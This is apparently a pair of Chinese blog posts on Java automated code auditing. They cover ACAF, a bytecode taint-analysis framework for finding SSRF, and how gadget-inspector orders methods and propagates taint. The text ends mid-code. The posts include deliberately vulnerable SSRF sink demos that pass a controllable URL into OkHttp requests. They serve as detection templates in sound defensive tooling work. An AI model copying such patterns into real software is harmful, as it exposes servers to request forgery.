0%

前言

笔者最近在研究java自动化代码审计这方面的内容,也看了一些相关的文章,其中主要是跟着4ra1n师傅的文章进行学习的。目前学到的有两种自动化审计思路,一是AST,二是ASM。前者基于java源代码,后者基于字节码。个人感觉后者的可操作性会更强一些。同时由于有gadget-inspector的铺垫,给我们提供了使用java代码模拟jvm执行字节码的思路,导致ASM这种自动化审计思路可以做到一定程度的动态化,实现了污点的动态流动,而不仅仅是停留在静态的代码层面。这也使得ASM这种思路更加具有可玩性。因此,笔者也选择了基于ASM来实现**ACAF(Auto Code Audit Framework)**。

在正式介绍之前,还是想先梳理一下笔者学习ASM自动化审计的过程。

最开始,笔者先入手的是gadget-inspector源码阅读,有一定的jvm基础,加上三梦师傅讲解的非常清晰的博客,花了几天把源码啃得七七八八了。

紧接着就开始跟着4ra1n师傅的博客学,学了一下他的CodeInspector的实现,以及基于污点分析的JSP Webshell检测,后者可能跟本文不是直接相关,不过使用java代码模拟jvm执行字节码这种思路都是一样的。

值得一提的是,CodeInspector是基于gadget-inspector进行实现的,二者的区别在于,CodeInspector是针对springboot项目的自动化审计,而gadget-inspector是专门用来找反序列化链的。

4ra1n师傅在实现CodeInspector的时候,是以SSRF的例子来进行实现的,需要我们自行去分析常见导致SSRF的字节码,然后把这种特征硬编码到程序当中,才能实现检测。于是笔者就思考了一下能否将这个过程自动化,或者说,让这个工具的使用更加简单一些。于是笔者将CodeInspector进行了一定程度的抽象,写了个ACAF。最终实现的效果就是,用户仅仅需要提供漏洞代码的demo,然后手动将部分污点传播链路链接起来,就能实现自动化代码审计。

接下来,笔者将从使用方法、框架整体概览、漏洞代码特征抽取、手工链接污点传播链路、自动化审计、实际效果六个方面来对ACAF进行分析(前面说了一堆废话

使用方法

以ssrf的例子来说,用户只需要给出会造成ssrf漏洞的常见demo,如下,将漏洞demo写在sinkMethod方法中

package com.er1cccc.acaf.example.ssrf;

import com.er1cccc.acaf.config.ControllableParam;
import com.er1cccc.acaf.config.PassthroughRegistry;
import com.er1cccc.acaf.config.Sink;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.Response;

import java.lang.reflect.Method;

public class SsrfSink4 implements Sink {
    private ControllableParam params = new ControllableParam();

    public SsrfSink4(){
        params.put("url","http://localhost");
    }

    @Override
    public Object sinkMethod() throws Exception {
        OkHttpClient httpClient = new OkHttpClient();
        Request request = new Request.Builder().url((String) params.getParameter("url")).build();
        Response response = httpClient.newCall(request).execute();
        return null;
    }
}

然后将手动将部分污点传播链路链接起来(这部分在本文后面会详细讲解),实现addPassthrough方法,最终得到完整的demo代码

public class SsrfSink4 implements Sink {
    private ControllableParam params = new ControllableParam();

    public SsrfSink4(){
        params.put("url","http://localhost");
    }

    @Override
    public Object sinkMethod() throws Exception {
        OkHttpClient httpClient = new OkHttpClient();
        Request request = new Request.Builder().url((String) params.getParameter("url")).build();
        Response response = httpClient.newCall(request).execute();
        return null;
    }

    @Override
    public void addPassthrough(PassthroughRegistry passthroughRegistry) {
        try{
            Class<?> builder = new Request.Builder().getClass();
            Method urlMethod = builder.getMethod("url",String.class);
            Method buildMethod = builder.getMethod("build");
            Class<OkHttpClient> okHttpClientClass = OkHttpClient.class;
            Method newCall = okHttpClientClass.getMethod("newCall", Request.class);
            Class<?> call = newCall.getReturnType();
            Method execute = call.getMethod("execute");

            passthroughRegistry.addPassthrough(urlMethod,1);
            passthroughRegistry.addPassthrough(buildMethod,0);
            passthroughRegistry.addPassthrough(newCall,1);
            passthroughRegistry.addPassthrough(execute,0);
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

然后写一个配置类

package com.er1cccc.acaf.example.ssrf;


import com.er1cccc.acaf.config.*;

public class SSRFConfigurer implements ACAFConfigurer {
    @Override
    public void addSource(SourceRegistry sourceRegistry) {

    }

    @Override
    public void addSanitize(SanitizeRegistry sanitizeRegistry) {
    }

    @Override
    public void addSink(SinkRegistry sinkRegistry) {
        sinkRegistry.addSink(new SsrfSink4());
    }
}

最后创建配置类,开始审计

package com.er1cccc.acaf.example;


import com.er1cccc.acaf.Launcher;
import com.er1cccc.acaf.example.sql.SqlConfigurer;
import com.er1cccc.acaf.example.ssrf.SSRFConfigurer;

public class App {
    public static void main( String[] args ) throws Exception{
        Launcher.launch(new SSRFConfigurer(),args);
    }
}

框架整体概览

最初笔者制定的框架结构图是长这个样子的。分别通过VulnTemplateSourceVisitor、VulnTemplateSanitizeVisitor、VulnTemplateSinkVisitor去观察用户给出的source、sanitizer和sink,分析字节码,抽取出特征,然后将特征保存到VulnDiscovery中,再由VulnDiscovery去完成审计功能。

image-20220103133558167

然而,笔者在真正实现时发现,source和sanitize这部分可能不太有必要(灰色部分),因此就仅实现了sink的自定义。

先说说source为什么没有实现,一开始之所以规划了source、sanitizer和sink是因为想参考codeql,但是真正落到ACAF上发现,并没有必要去完全套用。codeql之所以提供了自定义source的功能,是因为它是一款针对多种编程语言,多种框架的普适性的代码审计工具,而ACAF的定位是仅仅针对spring web项目的审计。在codeql中,source可能是无穷无尽的,没办法限定死,而ACAF中,也就是在spring web的环境下,source比较局限,可以直接硬编码到框架中。

而sanitizer的话,是因为笔者在写这个框架过程中,暂时还没遇到过误报的情况,所以也感觉不太必要,因此就暂时没有实现。如果后续有这种需求,再考虑实现。

既然说到这里了,就稍微说说ACAF和codeql的区别。这也是笔者在实现这个框架之前思考过的一个问题,codeql已经做的非常出色了,我有没有必要再去重复造轮子?

ACAF与codeql的区别

更加自动化

codeql需要使用者写ql语句对代码进行分析,需要一定的人工投入。而acaf仅需要用户给出项目的jar包/war包(未来可能扩充更多的形式)就能对项目进行常见漏洞的自动化审计,如果是特殊漏洞,用户需要给出漏洞的示例代码。这一点目前笔者仅仅给出了ssrf的几种示例demo,用来审计项目中是否存在ssrf漏洞。未来可能计划补充更多常见漏洞的demo,这样就能实现常见web漏洞的自动化审计。

追问:那直接用codeql写出一些常见漏洞的查询语句不是更好?
答:在使用codeql前需要投入一定的时间成本去学习codeql的文档,而且codeql的语句也较为复杂。而ACAF仅仅需要用户给出java编写的漏洞demo,使用起来更加简单

开源问题

目前已知codeql有个很致命的点就是只能对源代码进行分析,如果仅有jar包是没法分析的。虽然说可以把jar包进行反编译成源代码然后再进行分析,但是在反编译过程中可能会遇到项目依赖过于复杂,反编译十分困难,出现反编译后无法编译回去的情况。而ACAF本身就是对jar包(class文件)进行分析,所以不存在这方面的问题。

漏洞代码特征抽取

前面说了,使用CodeInspector的时候,需要我们自行分析导致漏洞的字节码,然后自行找出漏洞字节码的特征,将其硬编码到程序当中,才能实现检测。而漏洞代码特征抽取这部分要完成的功能就是,只需要用户提供导致漏洞的java代码,让框架自动去分析它对应的字节码,提取出特征

明确了这部分的目的之后,来看看代码实现。主要代码逻辑在com.er1cccc.acaf.core.template.VulnTemplateSinkVisitor,由于框架给出了接口,要求用户如果想自定义sink需要写一个类来实现com.er1cccc.acaf.config.Sink接口,进而实现接口中的sinkMethod方法,将漏洞demo写到这个方法中。因此,我们在使用asm观察的时候,就只需要去关注这个sinkMethod方法就好

com.er1cccc.acaf.core.template.VulnTemplateSinkVisitor#visitMethod中,如果观察到sinkMethod方法,则进一步去观察方法体,使用com.er1cccc.acaf.core.template.VulnTemplateSinkVisitor.VulnTemplateSinkMethodVisitor进行观察

image-20220103141501161

对与sinkMethod的方法体,我们着重观察的是方法体中的方法调用指令,重写visitMethodInsn方法对其进行观察。其他的字节码指令我们交给父类CoreMethodAdapter去帮助我们模拟出JVM的操作,实现污点的传递。关于模拟JVM操作不太理解的可以先按照前言中笔者的学习路径,先去学一下前面的基础。

image-20220103141917976

接下来看看visitMethodInsn方法的实现,首先调用了isGetParamMethod方法。这个方法的作用就是判断本次方法调用是不是准备调用获取可控参数的方法

这里详细解释一下,我们让用户提供漏洞demo,但是我们并不知道漏洞demo中究竟哪些参数可控才能导致该漏洞,因此,与用户约定,可控的参数统一通过params.getParameter来进行获取

如下,new Request.Builder().url()方法的参数可控可以造成漏洞,因此我们通过params.getParameter来进行获取。

public class SsrfSink4 implements Sink {
    private ControllableParam params = new ControllableParam();

    public SsrfSink4(){
        params.put("url","http://localhost");
    }

    @Override
    public Object sinkMethod() throws Exception {
        OkHttpClient httpClient = new OkHttpClient();
        Request request = new Request.Builder().url((String) params.getParameter("url")).build();
        Response response = httpClient.newCall(request).execute();
        return null;
    }
}

有了这样的约定之后,我们在观察sinkMethod方法体中的方法调用时,如果观察到了params.getParameter这样的方法调用,我们就能够知道这里存在一个可控的参数,因此我们可以在调用完params.getParameter方法之后,把操作数栈栈顶的返回值替换为taint(污点)。

回到isGetParamMethod方法,我们看看它的实现,实际上就是再判断是否在调用params.getParameter

image-20220103142558198

如果是,就像笔者刚才说的那样,把操作数栈栈顶的返回值替换为taint,这里用布尔值true表示污点。到这里实际上我们就完成的污点的播种,接下来就考虑如何把污点传递的特征也给记录下来

image-20220103142721032

我们看else逻辑,首先调用getControllableArgIndex获取可控参数的下标,可控参数等同于污点,就是当前操作数栈中为true的参数

image-20220103142903948

看看getControllableArgIndex方法的实现

image-20220103143104899

获取到可控的参数下标之后,调用了super.visitMethodInsn,这里就是在模拟JVM的执行过程。这行代码结束之后,操作数栈顶就是方法的返回值了。

image-20220103143239083

接下来判断可控的参数列表是否为空,不为空则创建一个VisitMethodInsnInfoResolver并加入到CompositResolver中,算是提取到一个特征

image-20220103143422984

如果为空,则继续判断方法返回值是否为空,如果不为空查看返回值是否是污点,是的话也创建一个VisitMethodInsnInfoResolver并加入到CompositResolver中,也算是提取到一个特征

image-20220103143507206

理论终于扯完了,下面上案例来分析,就以上面给出的SsrfSink4demo类为例来看看实际的执行过程

public class SsrfSink4 implements Sink {
    private ControllableParam params = new ControllableParam();

    public SsrfSink4(){
        params.put("url","http://localhost");
    }

    @Override
    public Object sinkMethod() throws Exception {
        OkHttpClient httpClient = new OkHttpClient();
        Request request = new Request.Builder().url((String) params.getParameter("url")).build();
        Response response = httpClient.newCall(request).execute();
        return null;
    }
}

第一次进入com.er1cccc.acaf.core.template.VulnTemplateSinkVisitor.VulnTemplateSinkMethodVisitor#visitMethodInsn是调用OkHttpClient<init>方法,可以简单理解为是构造方法,不满足if条件,进入else

image-20220103145309189

紧接着判断参数和返回值是否是taint,都不满足,因此什么也没做。

image-20220103145355140

接下来看sinkMethod方法体中的第二个方法调用,是okhttp3/Request$Builder.init,跟上面一样,不是重点,直接跳过

image-20220103145427848

第三个方法调用是com/er1cccc/acaf/config/ControllableParam.getParameter这就是重点了,根据前面的分析,85行的if满足,进入,然后86行先模拟方法执行,87行把方法返回值替换为taint。

image-20220103145604152

继续看下一个方法调用,是okhttp3/Request$Builder.url,在调用getControllableArgIndex时,获取到参数0是可控的,也就是刚刚观察getParameter方法时,往操作数栈中放入的true。

image-20220103145810118

由于存在可控参数,所以这里会创建一个VisitMethodInsnInfoResolver并加入到CompositResolver中。

image-20220103150117976

这里有必要详细解释一下。所谓漏洞代码特征抽取,实际上就是从params.getParameter开始,播种污点,然后看污点随着方法的调用会传递到哪里去,在刚才的例子中,污点就传播到了okhttp3/Request$Builder.url方法中。

我们在观察sinkMethod的方法体时,需要将污点的传播路径给记录下来,记录到CompositResolver中,需要注意的是,这里在记录时是以Resolver的形式进行记录的。这里创建了一个VisitMethodInsnInfoResolver,然后传入了方法调用相关的信息,如方法名name,方法描述符descriptor等,同时还传入了方法调用可控的参数列表,这是为了后续在审计时,比对触发漏洞的方法需要的参数是否可控。

解释完继续回来看在sinkMethod方法体中的观察到的方法调用,下一个方法调用是okhttp3/Request$Builder.build,在这一步的时候会发现一个问题:污点传播不下去了!可控的参数列表为空,而且方法返回值也不是taint。

image-20220103151240038

如果继续让程序继续执行,直到sinkMethod观察完毕,得到的结果就是,CompositResolver只记录到一个特征,就是触发漏洞需要调用okhttp3/Request$Builder.url方法,且第0个参数可控。这样很明显是会有问题的,特征提取的不够充分,会引起很严重的误报情况。

image-20220103151747594

看下面这段代码,当url参数可控时,就会被误判成是sink。但是实际上它并不是,仅仅调用httpClient.newCall(request)是不会发起请求的,一定要调用httpClient.newCall(request).execute()才行。

public String ssrf4_fake2(String url) {
    try {
        OkHttpClient httpClient = new OkHttpClient();
        Request request = new Request.Builder()
            .url(url)
            .build();
        httpClient.newCall(request);
        return "";
    } catch (Exception e) {
        e.printStackTrace();
        return e.getMessage();
    }
}

为什么会导致特征提取过少,实际上不难发现是因为污点没有传播下去,在okhttp3/Request$Builder.build这一步就断掉了。解决方法也简单,在下一节进行分析。

手工链接污点传播链路

上面说到了,污点传播是在okhttp3/Request$Builder.build这一步断掉的,这一节,我们主要看污点传播是怎么断的,怎么把它给接回去?

先看污点传播是怎么断的,我们回到刚刚断的地方,在okhttp3/Request$Builder.build这一步,看看此时的operandStack,发现其中居然没有了污点,我们刚刚观察params.getParameter的时候明明播种了污点,但是现在不见了

image-20220103155122573

我们再回看一步,看okhttp3/Request$Builder.url方法,在执行这个方法之前,可以看到operandStack中是存在污点的,也就是观察params.getParameter的时候播种的污点,那为什么执行完url方法后准备执行build的时候就没了呢?不难想到,问题就出在url方法的执行过程中

image-20220103155809694

我们跟入url方法的模拟执行过程,第90行。这里涉及到gadget-inspector的源码,不会说得很细,如果理解不了,可以先按照前言中笔者的学习路径,先去学一下前面的基础。我们直接看关键部分的代码

在这一步,会从passthrough中查出方法返回值与那个参数有关,查完发现,url方法的返回值与0号参数有关,也就是this,然后把this加入了resultTaint,最后将resultTaint中的值压入了operandStack。但是我们之前标记的污点是1号参数,就相当于污点在这个地方被无视掉了,也就造成了污点传播中断的现象。

image-20220103160230238

可以看出,这种操作很明显是不太合理的,按照我们自己的分析,url方法的参数应该是与1号参数有关才对,也就是这里这个String类型的参数。但是gadget-inspector没有这么智能,存在一定的缺陷,所以需要我们人工修正这个passthrough。

image-20220103160528500

到这里就基本知道了为什么污点传播会中断,就是因为gadget-inspector存在一定的局限性。接下来我们需要人工调整这个passthrough,让污点成功传递下去,调整方法很简单,原先我们在定义sink的时候需要重写sinkMethod给出sink方法的示例代码,现在我们只需要再重写一个addPassthrough方法就可以实现调整passthrough。针对上面污点传播中断的问题,笔者写了这样一段代码来解决(分析请看注释)

public class SsrfSink4 implements Sink {
    private ControllableParam params = new ControllableParam();

    public SsrfSink4(){
        params.put("url","http://localhost");
    }

    @Override
    public Object sinkMethod() throws Exception {
        OkHttpClient httpClient = new OkHttpClient();
        Request request = new Request.Builder().url((String) params.getParameter("url")).build();
        Response response = httpClient.newCall(request).execute();
        return null;
    }

    @Override
    public void addPassthrough(PassthroughRegistry passthroughRegistry) {
        try{
            Class<?> builder = new Request.Builder().getClass();
            Method urlMethod = builder.getMethod("url",String.class);
            Method buildMethod = builder.getMethod("build");
            Class<OkHttpClient> okHttpClientClass = OkHttpClient.class;
            Method newCall = okHttpClientClass.getMethod("newCall", Request.class);
            Class<?> call = newCall.getReturnType();
            Method execute = call.getMethod("execute");
            //在static方法中下标0为方法第一个参数,在非static方法中,下标0为this,下标1才是方法的第一个参数
            //表示url方法的返回值与1号下标参数有关
            passthroughRegistry.addPassthrough(urlMethod,1);
            //表示build方法的返回值与0号下标参数(this)有关
            passthroughRegistry.addPassthrough(buildMethod,0);
            //表示newCall方法的返回值与1号下标参数(request)有关
            passthroughRegistry.addPassthrough(newCall,1);
            //表示execute方法的返回值与0号下标参数(this)有关
            passthroughRegistry.addPassthrough(execute,0);
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

addPassthrough中,我们只需要调用passthroughRegistry.addPassthrough这个api即可完成passthrough的修正。经过这个修正之后,我们再来看看特征抽取的效果,回到刚刚污点断掉的地方okhttp3/Request$Builder.url,准备跟进super.visitMethodInsn

image-20220103162135990

还是回到刚刚那个passthrough的地方,发现此时获取到的passthroughArgs就是我们调整过的了,现在程序就会认为url方法的返回值与1号参数有关(刚才是0号)。

image-20220103162254813

接下来就会把1号参数,也就是taint给加入到resultTaint

image-20220103162431545

最后,把resultTaint中的污点压入到operandStack。这样一来,在url方法模拟执行这一步,我们成功让污点传播延续了下去。

image-20220103162532243

后面的其他方法调用也是差不多的流程,这里不予赘述,直接看最终提取到的特征。可以看到,现在提取出了4个特征,并且需要哪些参数可控都列举的很清楚。例如url方法需要0号参数可控,newCall方法也需要0号参数可控。注意,这里的下标与static没关系,无论是否是static方法,0号参数指的都是方法的第一个参数,不涉及到this。

不难看出,现在的特征提取已经非常准确了,从url到最后的execute,避免了误报的情况

image-20220103162812381

自动化审计

到了这一步之后,后面的代码就很好写了,有了漏洞特征,直接按照漏洞特征进行判断即可。我们选取controller方法的参数作为source,sink就是用户自定义的sink。根据前面提取的特征,看source是否能经过这样一段链路,这段链路中包含了从demo中提取出的所有特征。如果能,那就说明存在漏洞,反之说明不存在。

这个部分主要参考了4ra1n师傅的CodeInspector,将controller方法的参数作为source,然后使用dfs不断地向下追溯污点的传播,同时进行特征匹配,最终查看特征是否完全匹配来判断是否存在漏洞。详细分析请参考基于GI的自动Java代码审计工具实现

这里只分析我改动过的重点代码,在com.er1cccc.acaf.core.audit.auditcore.VulnMethodAdapter#visitMethodInsn,在观察方法体时,如果遇到方法调用的字节码,则使用前面收集到的漏洞特征进行匹配

image-20220103164332924

跟进vulnResolver.resolve,发现CompositResolver实际上就是一个Resolver集合,调用它的resolve方法实际上就是在遍历它的resolverList进行特征匹配。

image-20220103164537493

最终,如果vulnResolver.resolve(null)返回true,说明特征已经完全匹配上了,那么就输出调用栈

image-20220103164749513

至此,ACAF的源码就介绍完毕了,最后看看实际效果

实际效果

笔者根据4ra1n师傅的CIDemo项目,改了改,加上了很多fake sink,来测试误报,同时也写出了其中4个ssrf的demo

image-20220103170644290

看结果,发现4个sink点都找出来了,而fake sink完全没有误报(这里笔者突然发现还有一处漏讲了,就是关于controller复杂参数类型的处理,这里笔者也对CodeInspector进行了优化,使其能够处理复杂类型参数,这里找出的ssrf1_url这个sink就是验证,不过原理有点写不动了,有兴趣的可以看看源码)

image-20220103170547318

总结

(其实是个没有总结的总结

主要想感谢三梦师傅、4ra1n师傅以及gadget-inspector作者Ian Haken带我入了自动化审计这个坑,非常感谢!然后就是欢迎对这个项目感兴趣的师傅来一起讨论,希望可以完善更多常见漏洞的demo。

项目地址:https://github.com/Er1cccc/ACAF

CIDemo:https://github.com/Er1cccc/CIDemo

参考

gadget-inspector

java反序列化利用链自动挖掘工具gadgetinspector源码浅析

基于GI的自动Java代码审计工具实现

基于污点分析的JSP Webshell检测

前言

最近打算开始入门一些自动化审计工具,拿gadget-inspector入手。主要学习了两篇文章,一个是三梦师傅的,一个是Longofo师傅。可以说,如果有一定的字节码基础,加上这两篇文章的学习,gadget-inspector的底层源码应该能够理解的七七八八了。

笔者在看完上面两篇文章后,感觉还剩下两三分没学到位。于是梳理了一下整个过程,把比较模糊的地方拿出来再细看了看,才有了这篇文章。

因此,这篇文章并不是完整分析gadget-inspector的底层源码,而是仅用于记录一些笔者学习过程中遇到的小问题,建议结合上面两篇文章一起阅读。

逆拓扑排序

关于逆拓扑排序,在Longofo师傅的文章中给出了比较详细的讲解,不过我仍有一些不太理解的地方,于是把这个部分进行详细分析一下。

这里先啰嗦一嘴,为什么要进行这个逆拓扑排序?

逆拓扑排序是在PassthroughDiscovery阶段进行的,这个阶段的主要任务是寻找能污染方法返回值的方法参数。设想,如果某个方法的方法体中又调用了别的方法,且将参数进行了传递,例如

package com.zfirm;

import java.io.IOException;

public class Main {

    public String main(String args) throws IOException {
        String cmd = new A().method1(args);
        return new B().method2(cmd);
    }
}

class A {
    public String method1(String param) {
        return param;
    }
}

class B {
    public String method2(String param) {
        return new C().method3(param);
    }
}

class C {
    public String method3(String param) {
        return param;
    }
}


class D{
    public StringBuilder method4(){
        return new StringBuilder("aa");
    }
}

B类的method2方法调用了C类的method3方法,并且把method2的参数param直接传给了method3,然后将method3的返回值当作method2的返回值。按照直观感受,如果我们要判断method2的参数能否污染返回值,我们必须得跟入method3进行查看。如果method3的参数能污染method3的返回值,那么method2的参数也能污染。

这里说的有点绕,不过仔细看两遍还是能懂的。作者编程的思路与上述的思路是一致的。抽象地说,如果有这么一条调用链A->B->C->D,并且方法参数从A一直传递到D,那么我们需要倒序检查,依次检查D、C、B、A。因此,我们需要一个算法来生成这样的顺序,然后我们再按照这个顺序去检查,最终判断A方法的参数能否污染返回值。生成这样的顺序的算法就是逆拓扑序算法。

gadget-inspector中给出的代码实现如下,实际上就是dfs

private List<MethodReference.Handle> topologicallySortMethodCalls() {
    Map<MethodReference.Handle, Set<MethodReference.Handle>> outgoingReferences = new HashMap<>();
    for (Map.Entry<MethodReference.Handle, Set<MethodReference.Handle>> entry : methodCalls.entrySet()) {
        MethodReference.Handle method = entry.getKey();
        outgoingReferences.put(method, new HashSet<>(entry.getValue()));
    }

    // Topological sort methods
    LOGGER.debug("Performing topological sort...");
    Set<MethodReference.Handle> dfsStack = new HashSet<>();
    Set<MethodReference.Handle> visitedNodes = new HashSet<>();
    List<MethodReference.Handle> sortedMethods = new ArrayList<>(outgoingReferences.size());
    for (MethodReference.Handle root : outgoingReferences.keySet()) {
        dfsTsort(outgoingReferences, sortedMethods, visitedNodes, dfsStack, root);
    }
    LOGGER.debug(String.format("Outgoing references %d, sortedMethods %d", outgoingReferences.size(), sortedMethods.size()));

    return sortedMethods;
}

private static void dfsTsort(Map<MethodReference.Handle, Set<MethodReference.Handle>> outgoingReferences,
                                    List<MethodReference.Handle> sortedMethods, Set<MethodReference.Handle> visitedNodes,
                                    Set<MethodReference.Handle> stack, MethodReference.Handle node) {

    if (stack.contains(node)) {
        return;
    }
    if (visitedNodes.contains(node)) {
        return;
    }
    Set<MethodReference.Handle> outgoingRefs = outgoingReferences.get(node);
    if (outgoingRefs == null) {
        return;
    }

    stack.add(node);
    for (MethodReference.Handle child : outgoingRefs) {
        dfsTsort(outgoingReferences, sortedMethods, visitedNodes, stack, child);
    }
    stack.remove(node);
    visitedNodes.add(node);
    sortedMethods.add(node);
}

我们对照Longofo师傅给出的图来进行分析

image-20211208200355585

这个图每个圆圈代表一个方法,可以看到存在方法的递归调用,med1->med2->med6->med1。这种调用在实际代码中是非常常见的,它会给逆拓扑序算法的编写带来一些麻烦,稍有不慎可能就会造成死循环。

先来看topologicallySortMethodCalls方法。outgoingReferences可以理解为一张图,就对应上面给出的方法调用图。它存储的是调用者方法与被调用方法的关系,根据上面的图,可以得出

{"med1":{"med2","med3","med4"},"med2":{"med3","med6"},省略...}

然后初始化了三个集合,分别是dfsStackvisitedNodessortedMethods

  • dfsStack:存储当前正在遍历的路径
  • visitedNodes:存储已经遍历过的节点(方法)
  • sortedMethods:存储已经排序完毕的节点(方法)
private List<MethodReference.Handle> topologicallySortMethodCalls() {
    Map<MethodReference.Handle, Set<MethodReference.Handle>> outgoingReferences = new HashMap<>();
    for (Map.Entry<MethodReference.Handle, Set<MethodReference.Handle>> entry : methodCalls.entrySet()) {
        MethodReference.Handle method = entry.getKey();
        outgoingReferences.put(method, new HashSet<>(entry.getValue()));
    }

    // Topological sort methods
    LOGGER.debug("Performing topological sort...");
    Set<MethodReference.Handle> dfsStack = new HashSet<>();
    Set<MethodReference.Handle> visitedNodes = new HashSet<>();
    List<MethodReference.Handle> sortedMethods = new ArrayList<>(outgoingReferences.size());
    for (MethodReference.Handle root : outgoingReferences.keySet()) {
        dfsTsort(outgoingReferences, sortedMethods, visitedNodes, dfsStack, root);
    }
    LOGGER.debug(String.format("Outgoing references %d, sortedMethods %d", outgoingReferences.size(), sortedMethods.size()));

    return sortedMethods;
}

然后就开始从每一个入口方法开始,调用dfs进行遍历。这里有些的小细节要注意

【1】处,如果stack中包含node,说明node在本次dfs路径中出现过。比如med1->med2->med6->med1。当med1第二次出现时,我们选择直接return,如果不return就会造成死循环。不过,解决了死循环的同时也带来了一些问题。我们按照这样的算法得到的顺序是med7、med8、med3、med6、med2、med4、med1。如果我们单看med6->med1,我们判断med6的参数是否影响返回值时,需要先看med1,而由于med1排在med6后面,还没计算,所以此时med1的参数是否影响返回值我们还不得而知,因此也没法判断med6。

【2】处,碰到已经排序过的node直接返回

private static void dfsTsort(Map<MethodReference.Handle, Set<MethodReference.Handle>> outgoingReferences,
                                    List<MethodReference.Handle> sortedMethods, Set<MethodReference.Handle> visitedNodes,
                                    Set<MethodReference.Handle> stack, MethodReference.Handle node) {

    //【1】
    if (stack.contains(node)) {
        return;
    }
    //【2】
    if (visitedNodes.contains(node)) {
        return;
    }
    Set<MethodReference.Handle> outgoingRefs = outgoingReferences.get(node);
    if (outgoingRefs == null) {
        return;
    }
    stack.add(node);
    for (MethodReference.Handle child : outgoingRefs) {
        dfsTsort(outgoingReferences, sortedMethods, visitedNodes, stack, child);
    }
    stack.remove(node);
    visitedNodes.add(node);
    sortedMethods.add(node);
}

其实总的看下来,所谓的逆拓扑排序实际上就是dfs,而且感觉在递归调用的处理上会有点小问题,可能会导致med6判断结果有误。

passthrough.dat的作用

笔者在完整看完一遍文章之后,总感觉有些地方还是不太理解,看似整个程序非常有逻辑,分为了五大步骤,但是这五个步骤之间的关系似乎不是那么的明显,其中最让我费解的就是第二步生成的这个passthrough.dat到底有什么用,接下来就来探索一下它的用处。

生成passthrough.dat是在第二步(配合文末的图来看),用到它是在第三步——生成调用图。具体怎么用的呢?

在第三步CallGraphDiscovery::discover中,将passthrough.dat读取了进来,然后传递给了ModelGeneratorClassVisitor的构造方法

image-20211209113228222

跟进ModelGeneratorClassVisitor的构造方法,将passthroughDataflow保存到了字段当中

image-20211209113454561

紧接着在ModelGeneratorClassVisitor::visitMethod对方法进行观察时,将passthroughDataflow传递给了ModelGeneratorMethodVisitor的构造方法

image-20211209113625275

跟进ModelGeneratorMethodVisitor,发现它将passthroughDataflow传递给了父类的构造方法

image-20211209113647397

跟进父类TaintTrackingMethodVisitor的构造方法,发现它将passthroughDataflow保存到了字段当中

image-20211209113737488

到这里可以做个小结,passthroughDataflow一共被保存到了两处,一处是在ModelGeneratorMethodVisitor的父类TaintTrackingMethodVisitor字段中,另一处是在ModelGeneratorClassVisitor的字段中。实际上真正用到它的是在前面一处。

我们来用一个例子来看看,用下面这个代码生成一个jar包,让gadget-inspector进行分析。

package com.zfirm;

import java.io.IOException;

public class Main {

    public String main(String args) throws IOException {
        String cmd = new A().method1(args);
        return new B().method2(cmd);
    }
}

class A {
    public String method1(String param) {
        return param;
    }
}

class B {
    public String method2(String param) {
        return new C().method3(param);
    }
}

class C {
    public String method3(String param) {
        return param;
    }
}


class D{
    public StringBuilder method4(){
        return new StringBuilder("aa");
    }
}

这里有些小技巧。虽然说我们可以使用jdk原生的类作为例子进行分析,但是这分析起来会复杂很多,所以我们构造了一个简单的例子。但是在调试时,想要程序在分析这些类时让断点停下来需要一些技巧。

这里有两种方法,一个是设置条件断点。在ModelGeneratorClassVisitor::visitMethod方法中设置条件断点

image-20211209115103170

不过这种方式会导致程序执行得非常慢,断点很久才能停下来。所以有了下面这种笨办法,就是直接加代码进行判断(85-87行),然后打上断点。这种方式程序就很快能跑到断点处停下来了。

image-20211209115203470

回到主题,接着分析passthrough.dat的作用。我们按照上面的方式打好断点后,当断点停下来时,就是程序准备生成上面那个例子的调用图了。

接下来的就会看到轮番调用ModelGeneratorMethodVisitor的各个方法:visitCode、visitFieldInsn、visitMethodInsn等,这里不重复分析,三梦师傅的文章讲的很详细。概括一下就是:每条字节码都会对应一种方法,在asm对字节码进行分析时,就会找到对应的方法去进行回调执行。

我们来看method2的字节码,前面部分忽略,重点关注第5条invokevirtual,这是准备调用method3了

image-20211209115831373

在asm分析这条字节码时,回调的方法是ModelGeneratorMethodVisitor::visitMethodInsn,在这个方法末尾调用了父类的visitMethodInsn

image-20211209121340393

跟进TaintTrackingMethodVisitor::visitMethodInsn,这个方法的作用实际上就是在模拟方法执行

@Override
public void visitMethodInsn(int opcode, String owner, String name, String desc, boolean itf) {
    final MethodReference.Handle methodHandle = new MethodReference.Handle(
        new ClassReference.Handle(owner), name, desc);

    Type[] argTypes = Type.getArgumentTypes(desc);
    //如果不是静态方法,则扩充参数列表,将第一个参数设置为为this
    if (opcode != Opcodes.INVOKESTATIC) {
        Type[] extendedArgTypes = new Type[argTypes.length+1];
        System.arraycopy(argTypes, 0, extendedArgTypes, 1, argTypes.length);
        extendedArgTypes[0] = Type.getObjectType(owner);
        argTypes = extendedArgTypes;
    }

    final Type returnType = Type.getReturnType(desc);
    final int retSize = returnType.getSize();

    //模拟方法执行
    switch (opcode) {
        case Opcodes.INVOKESTATIC:
        case Opcodes.INVOKEVIRTUAL:
        case Opcodes.INVOKESPECIAL:
        case Opcodes.INVOKEINTERFACE:
            //初始化污点参数集合
            final List<Set<T>> argTaint = new ArrayList<Set<T>>(argTypes.length);
            for (int i = 0; i < argTypes.length; i++) {
                argTaint.add(null);
            }
            
            //模拟方法执行:从操作数栈中弹出对应的参数,保存到污点参数集合中
            for (int i = 0; i < argTypes.length; i++) {
                Type argType = argTypes[i];
                if (argType.getSize() > 0) {
                    for (int j = 0; j < argType.getSize() - 1; j++) {
                        pop();
                    }
                    argTaint.set(argTypes.length - 1 - i, pop());
                }
            }
            //返回值污点
            Set<T> resultTaint;
            if (name.equals("<init>")) {
                // Pass result taint through to original taint set; the initialized object is directly tainted by
                // parameters
                resultTaint = argTaint.get(0);
            } else {
                resultTaint = new HashSet<>();
            }

            // If calling defaultReadObject on a tainted ObjectInputStream, that taint passes to "this"
            if (owner.equals("java/io/ObjectInputStream") && name.equals("defaultReadObject") && desc.equals("()V")) {
                savedVariableState.localVars.get(0).addAll(argTaint.get(0));
            }

            for (Object[] passthrough : PASSTHROUGH_DATAFLOW) {
                if (passthrough[0].equals(owner) && passthrough[1].equals(name) && passthrough[2].equals(desc)) {
